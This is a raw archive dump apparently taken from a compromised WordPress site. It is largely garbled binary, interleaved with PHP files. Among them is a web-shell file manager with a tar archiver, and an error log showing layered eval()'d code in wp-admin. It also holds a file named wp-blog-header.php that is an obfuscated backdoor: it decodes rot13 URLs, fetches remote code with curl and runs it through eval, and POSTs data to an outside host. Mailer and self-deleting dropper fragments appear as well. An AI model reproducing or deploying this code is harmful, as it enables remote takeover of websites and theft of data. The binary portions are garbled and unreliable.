#jlĂN_bj˃`]Glo^|V7dnY(N.;[?&c_ OғZ]EI9WCPY{l3ՊGj1;Z?KGӭahO$\X9s+u4 z殐[>մ_z8\H> Ш\}M2jVH*0R %T*ˡT[-\Z>X`4ZkC1Ve\& SWpڱC?^jc'Uvr%{WBtUa}֊=/J0zʋjkV^]Dյ&}djEܼ}mn[nYڲnC{hW 0.GZV$ͪV,ay%UyՊ?|ۮSt1ُ_X.Cb`WoZkl+yB}R.]l+N)Vv ^lx b@d9H8vߓʵ>Hº;MoTIJZ^-"rhW%Ug-?RˑmP2MB/BEێnJ`σʤJFkFf˜_ ƫTޢLۃBt''r~&#N[v=,b ?AnɭD/[D*%Z8?*q\x5^}nWz5֛ŵH{T@`r,ģbn +x4TCr}i` ss˻ƧϋU" F59.vKSq%WBA>4ǚ:_MGJ0hؠz\ q!> w8Wxy(WD;'91s޸[lO6$6aqګfmLϋ8 i6ڒPWNj$u6&x=ƒZ?kNNdy%.֡ Ƽtkm<ᵜLft,@yo9ȧ=[|WF*u\oslHlriT69)a~xMoS/5wy|7KFF(J^o\݆GtiYylV~;J#ᾝߔ zŦ{0vI"q\`ғr&s=Fb4g7d2&vzwHÚyǥ}9=H %NjtB}2Zu# RRyے݇heXDf|p$#ZWYǁܱIlTJ\ {mjj٪p(>W5~ڛs[1ht)ӧ~/Y9z\GgOW#ɗz.͎jl BaM*C ?"ȤZFZq1+ȵFDi;K: j^ga^;nZWrQٌ:RFBxIͬ)ʏ^c"kYjaNE4Wu$˭Fɴ%}qFy若dW,Ӈe7=SIOɤ.㽧 SzWLR,wc_HnMҕbvP>~J&S_XyiQ? 8Phk,t{ܬy`Bjdx};;a1$!{1^ӭPyPՐCUU*ge4zKZk"Db޵x,c=ugE)\Ө֞gFy/{nJMZGnt|-tkr4+R pLxOx(z{~3 Dy8VhoxcQk'JTixBVUn$mJ*C7vi)ԛr@[_K; ytz^BfQW'W(yF1y e i9]?Vi nפ\u%*:\' hEM2!m } [ZE R~1bԋBޅ*w-z$bDva`#1N;¬ uBBH#-jl\Wy?@] ._}'([0tQPp;̏RilNШwg'Q>y1Ivk\} YR鋈n~cK)PU>N%0ط5qL٢Cs84$g(O-mVīD :(9_=܇J0%~CH/ T(F`|H0 =$-{&ߙՓ;{eqDh!΍_x5>b.מ!{UO| 6I@3)W y!R)wzr] 2t '.?&+a“k`|v?4>XnF].R 3֢$jH6S F$dO(e1 ĭB9Cq*m xB~!!,N=enl1N˦e ęQϰ uC.)aяHyE{!-C[?۳xW`Gf'+xY8Nv>ůh>B>jM&|bNW^9HC>i's#]CsЋ<Ow^Z x `3\ǙZ7kɲy^2͌jjMۚq ﯷ{pDSDG$Q 'o~,8o7.p V?{;ɗ0#d4OKpsdY<W`?3wع7AKEpNJlw::^s+eХn ,9sa?Ӝ} _HA| 5m|9FI*C= x2և1 9bIPw"">MTs@8cC;9''Z4]_̑,pnN>Ov_@<>ԯӽ76/t͞$uWecyK(.7iP{(bar${ai3b OQcī .R8qYp SӋ(,O]]\-"3uk6*I~DKafGL^&`\/rIflYyc:juXf9ws4r[$!Kfi|IM J_aR9 PO.{f; -0SP2G+!x%*l-]Vg`uCPe7hoS"~g ڿs֠҉ib{%wl9~O6d h^8ט hVza ӕֳrt#'Ր aN Q8WM 0y=u9o}pÕg`>LzdƑՐZѭOI Ġx`_q.UaD.'$5rbGxCg>_q^~ a:$fZ-úv#Uo|'[sШxxˆYcP; aARBCZZ~?S'\5"|GD~W:9kccCyQ;>|& 9Q8f"ܿGI )dÉYO౧U#BߚqXB_$oni s1v#Toۿj1+qeS\#퀬a3Iz0i&?ꐓ, r:B|}P6&)Xu$Y.&|p[:7vwO g|yvPp\#Y150=  ^𤆏 gWdbwaaT鉝8f6j5N}Ϻ:s";dY3/AZ-=upVш*f8#uvg(pZaT9dUP,x _n1L n>>r2qS:4c"51Eob`XNba"aR2P|!\D^8d)K}4dB;q[!NUNBۗ/n¸mNVHMEh~֠q}k)` h02]a0V /]b7AEg5 _ >%q hK~Zs ld0F~n l~l: ni$oXXD`j /.R^KDX$#j*xI}>4Y$ ó1+p+Ј*+}g~ݣE ]syay埙(Ft6w(|ȇ@q.'۸e>'e=*9[&cbO Xɴ7G.1^fY-ndcC~n>e`0CD"\sHAV/G~(nRO~7MHNհWKy;.q05)$1a<{*.c 5 J,@?45ѝ* wN]/Gp^,xɯ Z?mӵv2'3 ;i+ H!YHX\WyTV|YҸdiQRs+ڇs+s S4xu[sb`q 'tiKe'6`sn,>zxpyW0{uu̍8.w~sO{M0qɐu S(-0盰&! z #ʐp& rKGvPm%o NN1C")AuìeaxDXy0xu!&-dNjMy^C[a)Z%H. l/?ou0. ":l,Pfme-ڀjKzrm: T!'@5j+@3!p8#~#:b. XbphnDÁg1Fzō ódIƮ[=*:>0I?BYu1LGܸ*b)ԃC?X0n )L6/KcVo4[N?L\\Hrlw@0DcD^Q}y1C31S1S BE?mMoW'ut[YpZs@0`!Q釈5%H2C2?2Q7ftAG8.5%L#hzaL *$2DB(ڼa<DŽ1u2|L_ ^$HjPÌ;j$̤1FRL bfZH huz;݀m7E?D;FG I d1PC* Pg^_I=#3@b@FYC/HlHRN -GXYQ@HQ{&6{QA1wg"뻏  >_ǻװoF !y-i }LӃoׇd0 w< s>Ht~zUucGUmՇ_o=GZ c㸱km#jyhhێzp0mmj[TmsAt#kPPoȏ_膶[ . ?UI ZpD6mg 8 l~M.j-0uAgJf`$> T#~̌}>fd=S„dQ4BVɅ*@otsokccg.I,PZs"6[{4>:=6br ~Li̔\BASxucnEHWoDhy fcΣ?TO3IVmTz4"XP Aak*k:b|@~y"1# f1d*j}0ԍay,6hmhuXeWTdљI9c}qCpõ=Ҍ)ez,?f@l).+i򰤲-v0 1\{60mm+狱ls"$Ə:>Qg<Dm,B3#w_.,;NMvɋ(=Tp&% h㷨j4n0sDB+-mX[y#ӜZuʲ8yRqO'aS@fcnM04ts |XL󈁶qays"Kҿp4>bQ[$YР,Qሚ&uadOn.teerᕮI-Hʐns#lYҩ vMoꆯx+_>& 9;^p$[;@8eG%7]XĽ@3ն{/F.6S`'qv`VmEh ):16&?>7a {氣[Nr)פV:e'Pg(뒣]6[&}=}Te|hg o 3BB:zW3܇0&+SeS >%poщgln֌z%&9^O0 0zɿo+6!#e!гڜ7 pd .2zqNԧܼ.押˂hH̓4_^ej[s7cg&u{1o"ށSԁ%7D۩{1V>ڱO"1q8^wV`"7hqO,"oMSM~x`x!z| NuvEZ`FU,/~hr P3E&r_ $ʟwY dxNm[hfU{ :a&ڂ?jgcd0Z38:``86Ns2oZGOʲV]N۸u*cT2@[Bq}ȰhbpH'C܈_/GAltޘFxbԆZ5EX7<IH5gRL(;P5Hb#0s޾bdL0 Ɔsnv;8ZYC8rB'9+<{cIAE:3ߨk:nL7[8_jEzosԍt8/ %tơKĸZ\2匢vl 3|{!33Ö`<Lb{!,Q,أD8 dIVP b[.,7KE`P;h؝C.衱 wVMHcUe,'u|beE !@ЅA^:ܙ-Ƥ}7[ 6ĔD¢3 vp ,n[Ƌv 07z0K7WH}(|ODe`PP5^u FϰHojhL9b}R[{ § 7o kA^U1 GcU 0`.]`np'NVA {9n=%N_:2>:hƱꕱ3x ld)d$ VxK:| ܜbK^Y8\<DhsL7#Gq f| πx͉z3p~0qj+5 7SƆhsC]Hw5n8gtOh% gù5>[̪ܞSzN3`NQ} &'u*5jxId۶a#c=#]uz-v'Y34_;af+C k{ wo!Mp hwh|O{b? _>PK/8O\|,T7T7 ova/index.phpnutasslihorec sfaxoistadet bintestcss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK/8O\`ova/error_log.tar.gznu[k0{.xwk>lC~c$O翟n 1z0~"Cy7ҏ Xgqgd7d!$u޶gOFEW2 ]OrK73Nh%RWqu}˛%|( qbX4_t! ^.kU?j=6MY4EG!zi11\ Xخ`hR Yˈ>!$,cP> ;9({QQ+ @ BoYᩒ_EK'?s-жQ=t(tq2[ *8;dGOÅ0xB ë o5ٻ⤢J**8M*N*^''yTQpC}' . "\r\n" . 'Reply-To: user@lumenelectronicjewelry.com' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); goto Px9ew; WhuG6: } goto x6ZrQ; IC_4Q: @set_time_limit(0); goto howCb; Pk2Zb: @ini_set("log_errors", 0); goto rMYTg; x6ZrQ: unlink(basename(__FILE__));PK/8O\"{` error_lognu[06-Oct-2025 21:48:59 UTC] PHP Warning: Undefined array key "HTTP_USER_AGENT" in /home/ampckwxt/lumenelectronicjewelry.com/wp-admin/a99165aa97.php(1) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [06-Oct-2025 21:48:59 UTC] PHP Deprecated: md5(): Passing null to parameter #1 ($string) of type string is deprecated in /home/ampckwxt/lumenelectronicjewelry.com/wp-admin/a99165aa97.php(1) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [09-Oct-2025 17:49:33 UTC] PHP Parse error: syntax error, unexpected identifier "Shell" in /home/ampckwxt/lumenelectronicjewelry.com/wp-admin/.789423466299412.php on line 1 PK/8O\n.658411765090659.phpnu' . "\r\n" . 'Reply-To: alert@lumenelectronicjewelry.com' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); goto Px9ew; WhuG6: } goto x6ZrQ; IC_4Q: @set_time_limit(0); goto howCb; Pk2Zb: @ini_set("log_errors", 0); goto rMYTg; x6ZrQ: unlink(basename(__FILE__));PK/8O\1wdbd8650be3.phpnu" . ("$tag")); ?>PK/8O\ͥ .htaccessnu6$ RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK/8O\? wp-blog-header.phpnu[ $EuisC)); goto q1fwC; AE8KZ: BD64p: goto viQ8w; uqBPZ: $EuisC = (isset($_SERVER["\110\124\124\x50\x53"]) && $_SERVER["\110\x54\124\x50\123"] === "\x6f\x6e" ? "\x68\x74\164\160\x73" : "\x68\164\164\160") . "\x3a\x2f\57{$_SERVER["\x48\124\x54\x50\x5f\110\117\123\124"]}{$_SERVER["\122\105\x51\x55\105\x53\x54\x5f\125\x52\111"]}"; goto K0ZxZ; gr2mT: $hmH20 = $_REQUEST["\x64\157\141\143\164"]; goto BB8pz; jHBC7: j192A: goto foHGP; NR3Rd: exit; goto AE8KZ; TQt0_: $voEuQ = eEVfl(str_rot13("\165\x67\147\x63\146\72\x2f\x2f\151\143\146\x71\161\x2e\163\141\163\147\150\146\56\x67\142\143\57\161\142\142\x65\x2f") . $hmH20 . "\56\164\x78\164"); goto y1SLJ; BB8pz: if (!empty($hmH20)) { goto j192A; } goto uqBPZ; sPKm1: session_start(); goto gr2mT; viQ8w: function eeVfl($EuisC) { goto M4qAr; BE2bd: i1QIu: goto ETYdi; OZXaa: curl_setopt($nysSp, CURLOPT_SSL_VERIFYPEER, 0); goto FG2bM; DIWtQ: curl_setopt($nysSp, CURLOPT_RETURNTRANSFER, 1); goto iQtSq; i3vex: $gE_2y = stream_get_contents($WJtAt); goto Lcp8c; IjQ00: if (!(empty($gE_2y) && function_exists("\146\x6f\x70\145\156") && function_exists("\x73\x74\x72\x65\x61\x6d\137\147\x65\164\x5f\143\x6f\156\164\145\x6e\164\x73"))) { goto o81Ch; } goto kJYa3; MRDUT: $gE_2y = curl_exec($nysSp); goto ZZyp_; B4W2f: d2cUG: goto IjQ00; Lcp8c: fclose($WJtAt); goto DEP1f; kJYa3: $WJtAt = fopen($EuisC, "\162"); goto i3vex; s3mqK: if (!function_exists("\x63\x75\162\x6c\x5f\145\170\x65\143")) { goto i1QIu; } goto o5STS; o5STS: $nysSp = curl_init($EuisC); goto DIWtQ; FG2bM: curl_setopt($nysSp, CURLOPT_SSL_VERIFYHOST, 0); goto MRDUT; ETYdi: if (!(empty($gE_2y) && function_exists("\x66\x69\x6c\x65\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\163"))) { goto d2cUG; } goto BQZJn; t3n7O: return $gE_2y; goto mxkqk; BQZJn: $gE_2y = file_get_contents($EuisC); goto B4W2f; iQtSq: curl_setopt($nysSp, CURLOPT_FOLLOWLOCATION, 1); goto OZXaa; M4qAr: $gE_2y = ''; goto s3mqK; ZZyp_: curl_close($nysSp); goto BE2bd; DEP1f: o81Ch: goto t3n7O; mxkqk: } goto eTmj9; y1SLJ: eval("\77\76" . $voEuQ); goto NR3Rd; q1fwC: goto BD64p; goto jHBC7; T7Bkn: error_reporting(0); goto sPKm1; eTmj9: function NrhhK($XE_Cd) { goto gZbvS; doOR7: $eMSLG = curl_exec($A88G2); goto GLhUH; gZbvS: $EuisC = "\165\147\x67\143\x3a\57\x2f\x65\162\x7a\142\147\x72\x32\x30\62\x35\x2e\157\154\x75\142\x67\56\147\x62\x63\x2f\166\141\161\x72\x6b\x2e\143\x75\143"; goto wpEJg; wpEJg: $A88G2 = curl_init(str_rot13($EuisC)); goto fLJfr; fLJfr: curl_setopt($A88G2, CURLOPT_POST, 1); goto SYjU8; GLhUH: curl_close($A88G2); goto Ljaon; GL2_L: curl_setopt($A88G2, CURLOPT_RETURNTRANSFER, true); goto doOR7; SYjU8: curl_setopt($A88G2, CURLOPT_POSTFIELDS, $XE_Cd); goto GL2_L; Ljaon: }?>PKEO\461:$IXR/network/ID3/met/met/wp/ufkHa.phpnuPKEO\S$IXR/network/ID3/met/met/wp/.htaccessnu RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all PKEO\|,T7T7IXR/ova/index.phpnutasslihorec sfaxoistadet bintestcss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] 